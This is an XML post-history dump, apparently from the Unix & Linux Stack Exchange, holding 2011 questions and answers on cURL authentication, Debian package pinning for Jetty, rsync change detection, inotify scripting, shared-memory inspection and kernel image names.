  <row Id="12306" PostHistoryTypeId="2" PostId="5504" RevisionGUID="debb0447-d6a4-48e5-a8bb-82e213f40651" CreationDate="2011-01-07T08:41:30.333" UserId="3492" Text="Hi,&#xD;&#xA;&#xD;&#xA;I trying to access the following site with cURL. (https://www.fleetagent.be/portal/pls/portal)&#xD;&#xA;I have cURL configured with the following switches -L -k --proxy [username:password]&#xD;&#xA;I get the following error. What switches do need to add to get cURL to get the website?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;&#xD;&#xA;&lt;HTML&gt;&lt;HEAD&gt;&#xD;&#xA;&lt;TITLE&gt;401 Unauthorized&lt;/TITLE&gt;&#xD;&#xA;&lt;/HEAD&gt;&lt;BODY&gt;&#xD;&#xA;&lt;H1&gt;Unauthorized&lt;/H1&gt;&#xD;&#xA;This server could not verify that you&#xD;&#xA;are authorized to access the document&#xD;&#xA;requested.  Either you supplied the wrong&#xD;&#xA;credentials (e.g., bad password), or your&#xD;&#xA;browser doesn't understand how to supply&#xD;&#xA;the credentials required.&lt;P&gt;&#xD;&#xA;&lt;P&gt;Additionally, a 404 Not Found&#xD;&#xA;error was encountered while trying to use an ErrorDocument to handle the request.&#xD;&#xA;&lt;/BODY&gt;&lt;/HTML&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Thanks. Darrell." />
  <row Id="12307" PostHistoryTypeId="1" PostId="5504" RevisionGUID="debb0447-d6a4-48e5-a8bb-82e213f40651" CreationDate="2011-01-07T08:41:30.333" UserId="3492" Text="cURL access HTTPS website" />
  <row Id="12308" PostHistoryTypeId="3" PostId="5504" RevisionGUID="debb0447-d6a4-48e5-a8bb-82e213f40651" CreationDate="2011-01-07T08:41:30.333" UserId="3492" Text="écommandölineà" />
  <row Id="12309" PostHistoryTypeId="2" PostId="5505" RevisionGUID="06df858b-035c-4902-aac9-85bb2e19964c" CreationDate="2011-01-07T09:25:05.590" UserId="3493" Text="This is my current sources.list, and I wish to install libjetty-java, libjetty-extra-java, and jetty, in that order. However, the packages are not found, and I resorted to downlaoding the debs from `http://dist.codehaus.org/jetty/deb/` and fetching the dependencies viz. libslf4j-java libservlet2.5-java manually. &#xD;&#xA;&#xD;&#xA;    deb http://http.us.debian.org/debian   	lenny         	main contrib non-free&#xD;&#xA;    deb http://security.debian.org         	lenny/updates 	main contrib non-free&#xD;&#xA;    &#xD;&#xA;    deb http://http.us.debian.org/debian 	lenny 		main contrib non-free&#xD;&#xA;    deb-src http://http.us.debian.org/debian/ 	lenny 		main contrib non-free&#xD;&#xA;    deb http://security.debian.org/ 		lenny/updates 	main contrib non-free&#xD;&#xA;    deb-src http://security.debian.org/ 	lenny/updates 	main contrib non-free&#xD;&#xA;&#xD;&#xA;My question is, is there a debian repository for jetty? If not, will the above method beproblematic in the long run? I ask, because I wont be eligible for automatic upgrades and the machine will be a production server.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="12310" PostHistoryTypeId="1" PostId="5505" RevisionGUID="06df858b-035c-4902-aac9-85bb2e19964c" CreationDate="2011-01-07T09:25:05.590" UserId="3493" Text="jetty repositories for Debian lenny?" />
  <row Id="12311" PostHistoryTypeId="3" PostId="5505" RevisionGUID="06df858b-035c-4902-aac9-85bb2e19964c" CreationDate="2011-01-07T09:25:05.590" UserId="3493" Text="édebianàépackageömanagementàéaptà" />
  <row Id="12312" PostHistoryTypeId="4" PostId="5505" RevisionGUID="4bb61031-ba71-43cd-9f10-1b8ebd3ec485" CreationDate="2011-01-07T09:32:36.033" UserId="3493" Comment="edited title" Text="jetty repositories for Debian lenny 5.0?" />
  <row Id="12313" PostHistoryTypeId="6" PostId="5504" RevisionGUID="bf6be90a-19c7-4c5e-ab2f-1025b809ca22" CreationDate="2011-01-07T09:36:41.087" UserId="3492" Comment="edited tags" Text="écommandölineàéshellà" />
  <row Id="12314" PostHistoryTypeId="6" PostId="5504" RevisionGUID="3a32a0e8-3db6-4764-8cd5-e5a9f39de201" CreationDate="2011-01-07T09:42:43.890" UserId="3492" Comment="edited tags" Text="élinuxàécommandölineàéshellà" />
  <row Id="12315" PostHistoryTypeId="2" PostId="5506" RevisionGUID="78fc7b20-a79e-456a-a60d-6cb681c0c132" CreationDate="2011-01-07T09:55:39.750" UserId="3493" Text="Which do you recommend? POVs include stability, available pacakges, life, kernels or any other reasons?" />
  <row Id="12316" PostHistoryTypeId="1" PostId="5506" RevisionGUID="78fc7b20-a79e-456a-a60d-6cb681c0c132" CreationDate="2011-01-07T09:55:39.750" UserId="3493" Text="For deploying a public facing webapp, Debian Lenny, or Debian Squeeze?" />
  <row Id="12317" PostHistoryTypeId="3" PostId="5506" RevisionGUID="78fc7b20-a79e-456a-a60d-6cb681c0c132" CreationDate="2011-01-07T09:55:39.750" UserId="3493" Text="édebianàédistrosà" />
  <row Id="12318" PostHistoryTypeId="2" PostId="5507" RevisionGUID="180d94a5-ecd7-4da8-8eb8-930e685094f1" CreationDate="2011-01-07T10:08:10.673" UserId="2327" Text="I asume you have an account for this portal. Add it to your curl call:&#xD;&#xA;&#xD;&#xA;    --user &lt;user[:password]&gt; Set server user and password&#xD;&#xA;    &#xD;&#xA;    curl -L -k --proxy [username:password] --user &lt;user[:password]&gt; https://www.fleetagent.be/portal/pls/portal&#xD;&#xA;&#xD;&#xA;You are only submitting username and password for the proxy, but not for the actual website." />
  <row Id="12319" PostHistoryTypeId="2" PostId="5508" RevisionGUID="82875c1d-ecf4-4ea2-8ab5-b24d4fd790de" CreationDate="2011-01-07T10:08:26.007" UserId="688" Text="Go for Debian Squeeze:&#xD;&#xA;&#xD;&#xA;* __life__: It's about to be released any month now (even though [a date hasn't been decided][1]). Therefore the support will last a number of years from now, while an old release's support is a year from the moment it becomes obsoleted.&#xD;&#xA;* __stability__: It has [less RC][2] bugs than [Lenny][3].&#xD;&#xA;* __packages__: Each release of Debian has more packages than the last. Note that some packages are removed from release, for various reasons (EG: death of software, stability, security).&#xD;&#xA;* __kernels__: I guess the newer the kernel, the better (2.6.26 vs. 2.6.32).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel-announce/2010/12/msg00002.html&#xD;&#xA;  [2]: http://udd.debian.org/bugs.cgi?release=squeeze&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc&#xD;&#xA;  [3]: http://udd.debian.org/bugs.cgi?release=lenny&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc" />
  <row Id="12320" PostHistoryTypeId="5" PostId="5508" RevisionGUID="4124e572-9d51-48d8-ab9f-9c4ff80f07f8" CreationDate="2011-01-07T10:14:17.637" UserId="688" Comment="added 129 characters in body" Text="Go for Debian Squeeze:&#xD;&#xA;&#xD;&#xA;* __life__: It's about to be released any month now (even though [a date hasn't been decided][1]). Therefore the support will last a number of years from now, while an old release's support is a year from the moment it becomes obsoleted.&#xD;&#xA;* __stability__: It has [less RC][2] bugs than [Lenny][3].&#xD;&#xA;* __packages__: Each release of Debian has more packages than the last. Note that some packages are removed from release, for various reasons (EG: death of software, stability, security).&#xD;&#xA;* __kernels__: I guess the newer the kernel, the better ([2.6.26][4] vs. [2.6.32][5]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.debian.org/debian-devel-announce/2010/12/msg00002.html&#xD;&#xA;  [2]: http://udd.debian.org/bugs.cgi?release=squeeze&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc&#xD;&#xA;  [3]: http://udd.debian.org/bugs.cgi?release=lenny&amp;merged=ign&amp;fnewerval=7&amp;rc=1&amp;sortby=id&amp;sorto=asc&#xD;&#xA;  [4]: http://packages.debian.org/source/stable/linux-2.6&#xD;&#xA;  [5]: http://packages.debian.org/source/testing/linux-2.6" />
  <row Id="12323" PostHistoryTypeId="2" PostId="5510" RevisionGUID="7315146c-ff11-422a-af96-971763319a3c" CreationDate="2011-01-07T11:02:09.310" UserId="863" Text="I have two keyboards, mice and monitors and a ATI Radeon HD 4290 onboard a ASUS M4A89GTD PRO/USB3 mainboard. Can you recommend a distribution or livecd that supports the GPU and offers easy means to setup a dual-head multiseat system where both sessions have direct rendering enabled? (32 or 64 doesn't matter here, although 64 bit are preffered)" />
  <row Id="12324" PostHistoryTypeId="1" PostId="5510" RevisionGUID="7315146c-ff11-422a-af96-971763319a3c" CreationDate="2011-01-07T11:02:09.310" UserId="863" Text="Distribution recommendation for a multiseat setup using dual-head and supporting direct rendering" />
  <row Id="12325" PostHistoryTypeId="3" PostId="5510" RevisionGUID="7315146c-ff11-422a-af96-971763319a3c" CreationDate="2011-01-07T11:02:09.310" UserId="863" Text="édistributionöchoiceàémultiseatàédualheadà" />
  <row Id="12326" PostHistoryTypeId="2" PostId="5511" RevisionGUID="e2d4df9d-59e6-4a9b-8341-003489395d73" CreationDate="2011-01-07T11:28:47.693" UserId="863" Text="This is basically a lite version of multiseat (see [my other question](http://unix.stackexchange.com/q/5251/863)): I can setup two mouse pointers (see e.g. [here](http://blog.danyul.id.au/?p=128), [here](http://ao2.it/en/blog/2010/01/19/poor-mans-multi-touch-using-multiple-mice-xorg) or [here](http://ankurs.com/2010/10/multiple-mouse-keyboard-in-linux/)) and two keyboards (although my two identical logitech K200 keyboards show up as _four_ keyboards in `xinput list`, any ideas why?). Only this is not enough to allow two users to do things independently, since apparently only one window can be focused at a time so all keyboard input goes to that window. Can this behaviour be changed?&#xD;&#xA;&#xD;&#xA;Can the inputs of two keyboards be directed to two different windows at the same time? And can a mouse-locking application be told to only lock _one_ of the pointers?&#xD;&#xA;&#xD;&#xA;(in case your answer includes `Xephyr`, can that support direct open gl rendering?)" />
  <row Id="12327" PostHistoryTypeId="1" PostId="5511" RevisionGUID="e2d4df9d-59e6-4a9b-8341-003489395d73" CreationDate="2011-01-07T11:28:47.693" UserId="863" Text="Lock second mouse pointer &amp; keyboard input to one window" />
  <row Id="12328" PostHistoryTypeId="3" PostId="5511" RevisionGUID="e2d4df9d-59e6-4a9b-8341-003489395d73" CreationDate="2011-01-07T11:28:47.693" UserId="863" Text="égnomeàémultiseatàéfocusà" />
  <row Id="12329" PostHistoryTypeId="2" PostId="5512" RevisionGUID="82155425-bc82-408f-afbe-bc6b1ca95901" CreationDate="2011-01-07T11:39:28.563" UserId="2504" Text="I've a question about rsync command in unix.&#xD;&#xA;&#xD;&#xA;Does it save some configuration invisible files into the directories ? How does it know which files need to be added or not ?&#xD;&#xA;&#xD;&#xA;Or is just checking file by file ?&#xD;&#xA;&#xD;&#xA;I'm asking this because I'm planning to copy all files (but not the root directory) to another folder (svn working copy).&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="12330" PostHistoryTypeId="1" PostId="5512" RevisionGUID="82155425-bc82-408f-afbe-bc6b1ca95901" CreationDate="2011-01-07T11:39:28.563" UserId="2504" Text="rsync: does it uses invisible configuration files ?" />
  <row Id="12331" PostHistoryTypeId="3" PostId="5512" RevisionGUID="82155425-bc82-408f-afbe-bc6b1ca95901" CreationDate="2011-01-07T11:39:28.563" UserId="2504" Text="érsyncà" />
  <row Id="12332" PostHistoryTypeId="5" PostId="5504" RevisionGUID="1a239a3d-9953-4550-94dd-23fc967d66e6" CreationDate="2011-01-07T11:48:17.813" UserId="3492" Comment="added 199 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I trying to access the following site with cURL. (_ttps://www.fleetagent.be)&#xD;&#xA;I have cURL configured with the following switches -L -k --proxy [username:password]&#xD;&#xA;I get the following error. What switches do need to add to get cURL to get the website?&#xD;&#xA;&#xD;&#xA;The url _ttps://www.fleetagent.be is redirected to _https://www.fleetagent.be/portal/pls/portal. Somehow the website is authenticating it self for the redirected portal. how can i simulate this behavior with cURL?&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;&#xD;&#xA;&lt;HTML&gt;&lt;HEAD&gt;&#xD;&#xA;&lt;TITLE&gt;401 Unauthorized&lt;/TITLE&gt;&#xD;&#xA;&lt;/HEAD&gt;&lt;BODY&gt;&#xD;&#xA;&lt;H1&gt;Unauthorized&lt;/H1&gt;&#xD;&#xA;This server could not verify that you&#xD;&#xA;are authorized to access the document&#xD;&#xA;requested.  Either you supplied the wrong&#xD;&#xA;credentials (e.g., bad password), or your&#xD;&#xA;browser doesn't understand how to supply&#xD;&#xA;the credentials required.&lt;P&gt;&#xD;&#xA;&lt;P&gt;Additionally, a 404 Not Found&#xD;&#xA;error was encountered while trying to use an ErrorDocument to handle the request.&#xD;&#xA;&lt;/BODY&gt;&lt;/HTML&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Thanks. Darrell." />
  <row Id="12333" PostHistoryTypeId="2" PostId="5513" RevisionGUID="4a279d66-e5bc-461b-8abf-a4892d3a25d1" CreationDate="2011-01-07T11:49:29.263" UserId="3069" Text="Open `System -&gt; Preferences -&gt; Keyboard Shortcuts`.  &#xD;&#xA;Disable (or reset) the **Show the panel's &quot;Run Application&quot; dialog box**.  &#xD;&#xA; Now **Add** a new shortcut and set &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; to the command you would like to start.  &#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Wh6dC.png" />
  <row Id="12334" PostHistoryTypeId="5" PostId="5504" RevisionGUID="660b3ca8-6d15-4d22-9b39-30b2b06041fa" CreationDate="2011-01-07T12:15:15.780" UserId="252" Comment="Added formatting and corrected code block" Text="Hi,&#xD;&#xA;&#xD;&#xA;I trying to access the following site with cURL. (&lt;https://www.fleetagent.be&gt;)&#xD;&#xA;I have cURL configured with the following switches `-L -k --proxy [username:password]`&#xD;&#xA;I get the following error. What switches do need to add to get cURL to get the website?&#xD;&#xA;&#xD;&#xA;The url https://www.fleetagent.be is redirected to https://www.fleetagent.be/portal/pls/portal. Somehow the website is authenticating it self for the redirected portal. how can i simulate this behavior with cURL?&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;&#xD;&#xA;    &lt;HTML&gt;&lt;HEAD&gt;&#xD;&#xA;    &lt;TITLE&gt;401 Unauthorized&lt;/TITLE&gt;&#xD;&#xA;    &lt;/HEAD&gt;&lt;BODY&gt;&#xD;&#xA;    &lt;H1&gt;Unauthorized&lt;/H1&gt;&#xD;&#xA;    This server could not verify that you&#xD;&#xA;    are authorized to access the document&#xD;&#xA;    requested.  Either you supplied the wrong&#xD;&#xA;    credentials (e.g., bad password), or your&#xD;&#xA;    browser doesn't understand how to supply&#xD;&#xA;    the credentials required.&lt;P&gt;&#xD;&#xA;    &lt;P&gt;Additionally, a 404 Not Found&#xD;&#xA;    error was encountered while trying to use an ErrorDocument to handle the request.&#xD;&#xA;    &lt;/BODY&gt;&lt;/HTML&gt;&#xD;&#xA;&#xD;&#xA;Thanks. Darrell." />
  <row Id="12335" PostHistoryTypeId="6" PostId="5504" RevisionGUID="660b3ca8-6d15-4d22-9b39-30b2b06041fa" CreationDate="2011-01-07T12:15:15.780" UserId="252" Comment="Added formatting and corrected code block" Text="écommandölineàéshellà" />
  <row Id="12336" PostHistoryTypeId="2" PostId="5514" RevisionGUID="de10fc24-e6a3-4adf-9381-00d15c71be98" CreationDate="2011-01-07T12:18:02.497" UserId="1144" Text="rsync does not use any invisible files to remember what it has/has not copied across. Each time you run an rsync command it checks source against target (according to the options you specify on your rsync commandline) and copies files accordingly.&#xD;&#xA;&#xD;&#xA;If you want to explicity ignore/not copy files/folders you can use the *--exclude* (and related) option to do that. Check the rsync manpage for rull details of what is available." />
  <row Id="12337" PostHistoryTypeId="2" PostId="5515" RevisionGUID="21b9a348-8f71-4330-8f7e-d17107eda26f" CreationDate="2011-01-07T13:04:39.763" UserId="863" Text="I want a script to sleep unless a certain file is modifed/deleted (or a file created in a certain directory, or ...). Can this be achieved in some elegant way? The simplest thing that comes to my mind is a loop that sleeps for some time before checking the status again, but maybe there is a more elegant way?" />
  <row Id="12338" PostHistoryTypeId="1" PostId="5515" RevisionGUID="21b9a348-8f71-4330-8f7e-d17107eda26f" CreationDate="2011-01-07T13:04:39.763" UserId="863" Text="Can a bash script be hooked to a file?" />
  <row Id="12339" PostHistoryTypeId="3" PostId="5515" RevisionGUID="21b9a348-8f71-4330-8f7e-d17107eda26f" CreationDate="2011-01-07T13:04:39.763" UserId="863" Text="ébashàéfilesàéhookà" />
  <row Id="12340" PostHistoryTypeId="2" PostId="5516" RevisionGUID="9c9be174-5496-47d6-8943-c09337b3d45e" CreationDate="2011-01-07T13:07:36.673" UserId="29" Text="In addition to [@Richm](http://unix.stackexchange.com/users/1144/richm)'s [answer](http://unix.stackexchange.com/questions/5512/rsync-does-it-uses-invisible-configuration-files/5514#5514) Rsync uses timestamps, and size (like git does) by default to tell if a file has changed, and that rsync should update it. you can use the `--checksum` option to check based on a checksum instead of a timestamp.&#xD;&#xA;&#xD;&#xA;    -c, --checksum              skip based on checksum, not mod-time &amp; size&#xD;&#xA;" />
  <row Id="12341" PostHistoryTypeId="5" PostId="2682" RevisionGUID="3c06977d-3588-44f5-89b7-635095484788" CreationDate="2011-01-07T13:13:23.093" UserId="1078" Comment="deleted 197 characters in body" Text="From my personal shell library:&#xD;&#xA;&#xD;&#xA;    get_screen_size()&#xD;&#xA;    {&#xD;&#xA;        xdpyinfo | awk '/dimensions:/ { print $2; exit }'&#xD;&#xA;    }" />
  <row Id="12342" PostHistoryTypeId="2" PostId="5517" RevisionGUID="0f36608c-4cc0-4b63-8ae8-4fd6d7520a1e" CreationDate="2011-01-07T13:20:28.970" UserId="2780" Text="On linux, you can use the kernel's `inotify` feature. Tools for scripting can be found there: [inotify-tools](http://inotify-tools.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;Example use from wiki:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    EVENT=$(inotifywait --format '%e' ~/file1) # blocking without looping&#xD;&#xA;    [ $? != 0 ] &amp;&amp; exit&#xD;&#xA;    [ &quot;$EVENT&quot; = &quot;MODIFY&quot; ] &amp;&amp; echo 'file modified!'&#xD;&#xA;    [ &quot;$EVENT&quot; = &quot;DELETE_SELF&quot; ] &amp;&amp; echo 'file deleted!'&#xD;&#xA;    # etc...&#xD;&#xA;" />
  <row Id="12343" PostHistoryTypeId="2" PostId="5518" RevisionGUID="29237094-be81-4e6f-addd-cd5159518728" CreationDate="2011-01-07T14:14:13.097" UserId="2871" Text="While browsing through the Kernel Makefiles, i found these terms. So i would like to know what is the difference between `vmlinux`, `vmlinuz`, `vmlinux.bin`, `zimage` &amp; `bzimage`?" />
  <row Id="12344" PostHistoryTypeId="1" PostId="5518" RevisionGUID="29237094-be81-4e6f-addd-cd5159518728" CreationDate="2011-01-07T14:14:13.097" UserId="2871" Text="What is the difference between the following kernel Makefile terms:  vmlinux, vmlinuz, vmlinux.bin, zimage &amp; bzimage?" />
  <row Id="12345" PostHistoryTypeId="3" PostId="5518" RevisionGUID="29237094-be81-4e6f-addd-cd5159518728" CreationDate="2011-01-07T14:14:13.097" UserId="2871" Text="élinuxàévmlinuxàévmlinuzàézimageàébzimageà" />
  <row Id="12346" PostHistoryTypeId="2" PostId="5519" RevisionGUID="5e862410-03b5-4617-9cba-f78dcfd3a11c" CreationDate="2011-01-07T14:25:02.950" UserId="3069" Text="User mode processes can use Interprocess Communication (IPC) to communicate with each other, the fastest method of achieving this is by using shared memory pages (`shmpages`).  &#xD;&#xA;This happens for example if `banshee` plays music and `vlc` plays a video, both processes have to access `pulseaudio` to output some sound.  &#xD;&#xA;&#xD;&#xA;Try to find out more about shared memory configuration and usage with some of the following commands:&#xD;&#xA;&#xD;&#xA;Display the shared memory configuration:&#xD;&#xA;&#xD;&#xA;    sysctl kernel.shm{max,all,mni}&#xD;&#xA;&#xD;&#xA;By default (Linux 2.6) this should output:&#xD;&#xA;&#xD;&#xA;    kernel.shmmax = 33554432&#xD;&#xA;    kernel.shmall = 2097152&#xD;&#xA;    kernel.shmmni = 4096&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`shmmni` is the maximum number of allowed shared memory segments, `shmmax` is the allowed size of a shared memory segment (32 MB) and `shmall` is the maximum total size of all segments (displayed as pages, translates to 8 GB)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The currently used shared memory:&#xD;&#xA;&#xD;&#xA;    cat /proc/meminfo | grep Shmem&#xD;&#xA;&#xD;&#xA;If enabled by the distribution:&#xD;&#xA;&#xD;&#xA;    ls -l /dev/shm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`ipcs` is a great tool to find out more about IPC usage:&#xD;&#xA;&#xD;&#xA;    ipcs -m &#xD;&#xA;&#xD;&#xA;will output the shared memory usage, you can see the allocated segments with the corresponding sizes.&#xD;&#xA;&#xD;&#xA;    ipcs -m -i &lt;shmid&gt;&#xD;&#xA;&#xD;&#xA;shows more information about a specified segment including the PID of the process creating (cpid) and the last (lpid) using it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`ipcrm` can remove shared memory segments (but be aware that those are only get removed if no other processes are attached to them, see the nattach column in `ipcs -m`).&#xD;&#xA;&#xD;&#xA;    ipcrm -m &lt;shmid&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Running out of shared memory could be a program heavily using a lot of shared memory, a program which does not detach the allocated segments properly, modified `sysctl` values, ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is not Linux specific and also applies to (most) UNIX systems (shared memory first appeared in [CB UNIX][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CB_UNIX" />
  <row Id="12347" PostHistoryTypeId="2" PostId="5520" RevisionGUID="07c3e756-ea62-4b10-a1fc-91158ed0fa02" CreationDate="2011-01-07T15:11:40.153" UserId="3002" Text="It's all in here:&#xD;&#xA;http://en.wikipedia.org/wiki/Vmlinux&#xD;&#xA;" />
  <row Id="12348" PostHistoryTypeId="10" PostId="5506" RevisionGUID="88b4f302-d204-414f-83c3-92c0ec43ee6d" CreationDate="2011-01-07T15:36:14.023" UserId="29" CloseReasonId="7" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="12349" PostHistoryTypeId="2" PostId="5521" RevisionGUID="fbbe81ea-da34-45a9-b697-26144f093bc0" CreationDate="2011-01-07T16:17:57.983" UserId="3495" Text="Hello,&#xD;&#xA;&#xD;&#xA;oo-style library for bash 4. Written in bash. Source and use. &#xD;&#xA;&#xD;&#xA;http://sourceforge.net/projects/oobash/files/&#xD;&#xA;&#xD;&#xA;Still a very young fun project...&#xD;&#xA;&#xD;&#xA; " />
  <row Id="12350" PostHistoryTypeId="2" PostId="5522" RevisionGUID="5e54ad9d-5aa5-427e-a983-27b6a412bba5" CreationDate="2011-01-07T16:51:04.920" UserId="3496" Text="What is the output of &quot;date -u +%W$(uname)|sha256sum|sed 's/\W//g'&quot;? How do I find out?" />
  <row Id="12351" PostHistoryTypeId="1" PostId="5522" RevisionGUID="5e54ad9d-5aa5-427e-a983-27b6a412bba5" CreationDate="2011-01-07T16:51:04.920" UserId="3496" Text="Output help- ArchLinux forum membership" />
  <row Id="12352" PostHistoryTypeId="3" PostId="5522" RevisionGUID="5e54ad9d-5aa5-427e-a983-27b6a412bba5" CreationDate="2011-01-07T16:51:04.920" UserId="3496" Text="éarchölinuxà" />
  <row Id="12353" PostHistoryTypeId="2" PostId="5523" RevisionGUID="af947dca-c151-4367-b84f-6a82ccb639c7" CreationDate="2011-01-07T17:09:27.473" UserId="3069" Text="    date -u %W&#xD;&#xA;&#xD;&#xA;Displays the current week of the year.&#xD;&#xA;&#xD;&#xA;    uname&#xD;&#xA;&#xD;&#xA;Displays the kernel name.&#xD;&#xA;&#xD;&#xA;    sha256sum&#xD;&#xA;&#xD;&#xA;Generates a SHA-265 Hash Sum.&#xD;&#xA;&#xD;&#xA;    sed 's/\W//g'&#xD;&#xA;&#xD;&#xA;Cuts out all non-word characters.&#xD;&#xA;&#xD;&#xA;The `|`'s are redirecting the output of the first command to the appending command.&#xD;&#xA;&#xD;&#xA;Enter the line in a terminal, f.e. `gnome-terminal` or `xterm`:&#xD;&#xA;&#xD;&#xA;    date -u +%W$(uname)|sha256sum|sed 's/\W//g'&#xD;&#xA;&#xD;&#xA;Depending on the date and the operating system installed, this will output different hashes, like this:&#xD;&#xA;&#xD;&#xA;    2aa4cb287b8a9314116f43b5e86d892d76a9589559aa69ed382e8f5dc493d955" />
  <row Id="12354" PostHistoryTypeId="5" PostId="5522" RevisionGUID="2ca7297f-adc3-4c21-bb1d-3b93080a77c6" CreationDate="2011-01-07T17:10:43.603" UserId="3069" Comment="tags, format; edited title" Text="What is the output of `date -u +%W$(uname)|sha256sum|sed 's/\W//g'`?  &#xD;&#xA;How do I find that out?" />
  <row Id="12355" PostHistoryTypeId="6" PostId="5522" RevisionGUID="2ca7297f-adc3-4c21-bb1d-3b93080a77c6" CreationDate="2011-01-07T17:10:43.603" UserId="3069" Comment="tags, format; edited title" Text="éshellàéarchölinuxà" />
  <row Id="12356" PostHistoryTypeId="4" PostId="5522" RevisionGUID="2ca7297f-adc3-4c21-bb1d-3b93080a77c6" CreationDate="2011-01-07T17:10:43.603" UserId="3069" Comment="tags, format; edited title" Text="Shell output help" />
  <row Id="12357" PostHistoryTypeId="2" PostId="5524" RevisionGUID="fc961785-937d-440b-837a-99923d23926c" CreationDate="2011-01-07T17:15:31.327" UserId="3496" Text="While trying to set up partition from Arch Linux installation CD(using cfdisk) itself the following error showed up-&#xD;&#xA;&#xD;&#xA;&gt; Bad primary partition 2: partition ends in final partial cylinder&#xD;&#xA;&#xD;&#xA;How do I fix it?&#xD;&#xA;" />
  <row Id="12358" PostHistoryTypeId="1" PostId="5524" RevisionGUID="fc961785-937d-440b-837a-99923d23926c" CreationDate="2011-01-07T17:15:31.327" UserId="3496" Text="Arch Linux installation- partitions help" />
  <row Id="12359" PostHistoryTypeId="3" PostId="5524" RevisionGUID="fc961785-937d-440b-837a-99923d23926c" CreationDate="2011-01-07T17:15:31.327" UserId="3496" Text="épartitionàéarchölinuxà" />
  <row Id="12360" PostHistoryTypeId="6" PostId="5498" RevisionGUID="e3058216-30ca-4a35-be67-3e1d2cee8107" CreationDate="2011-01-07T18:28:10.313" UserId="885" Comment="edited tags" Text="élinuxàékernelàémemoryàésharedömemoryà" />
  <row Id="12361" PostHistoryTypeId="5" PostId="5522" RevisionGUID="7c7549c2-b0ce-431c-896d-962be9558123" CreationDate="2011-01-07T18:34:15.830" UserId="885" Comment="removed spurious arch-linux tag" Text="What is the output of `date -u +%W$(uname)|sha256sum|sed 's/\W//g'` (on Arch Linux if it matters)?  &#xD;&#xA;How do I find that out?" />
  <row Id="12362" PostHistoryTypeId="6" PostId="5522" RevisionGUID="7c7549c2-b0ce-431c-896d-962be9558123" CreationDate="2011-01-07T18:34:15.830" UserId="885" Comment="removed spurious arch-linux tag" Text="éshellà" />
  <row Id="12363" PostHistoryTypeId="6" PostId="5518" RevisionGUID="01f0d4fa-15d3-421d-846a-76f99e3adcaa" CreationDate="2011-01-07T18:37:25.390" UserId="885" Comment="edited tags" Text="élinuxàékernelàéfileöformatà" />
  <row Id="12364" PostHistoryTypeId="6" PostId="5511" RevisionGUID="28b297cd-65ee-4ab1-8e4e-75a2d8552376" CreationDate="2011-01-07T18:45:43.193" UserId="885" Comment="edited tags" Text="égnomeàéxorgàémultiseatàéfocusà" />
  <row Id="12365" PostHistoryTypeId="2" PostId="5525" RevisionGUID="47f01916-7b59-4113-9f8b-94e867d54b91" CreationDate="2011-01-07T19:06:38.037" UserId="885" Text="[Jetty is in the Debian repositories](http://packages.debian.org/jetty), but at the moment only in the [testing](http://www.debian.org/releases/testing/) distribution, not in the [stable](http://www.debian.org/releases/stable/) distribution which is what you have.&#xD;&#xA;&#xD;&#xA;It looks like jetty doesn't have many dependencies that are not in lenny (stable), so a viable option is to keep your lenny system, but install a few binary packages from squeeze (testing). This is viable only if the testing packages don't depend on having recent (post-stable) versions of libraries. In particular, native executables are usually out since they require upgrading the the C library.&#xD;&#xA;&#xD;&#xA;Add squeeze repositories to your sources by putting these lines in a file `/etc/apt/sources.list.d/squeeze.list`:&#xD;&#xA;&#xD;&#xA;    deb http://http.us.debian.org/debian squeeze main contrib non-free&#xD;&#xA;    deb http://security.debian.org/debian squeeze main contrib non-free&#xD;&#xA;&#xD;&#xA;Then you'll be able to install packages from squeeze. But don't stop there, otherwise the next time you run `apt-get upgrade`, your system will become (almost) all-testing.&#xD;&#xA;&#xD;&#xA;Create a file [`/etc/apt/preferences`](http://wiki.debian.org/AptPreferences) containing the following lines:&#xD;&#xA;&#xD;&#xA;    Package: *&#xD;&#xA;    Pin: release o=Debian,a=testing&#xD;&#xA;    Pin-Priority: 200&#xD;&#xA;&#xD;&#xA;Then packages from testing have a priority of 200, which is less than the default (500). So a package from testing will be installed only if there is no package with the same name in stable.&#xD;&#xA;" />
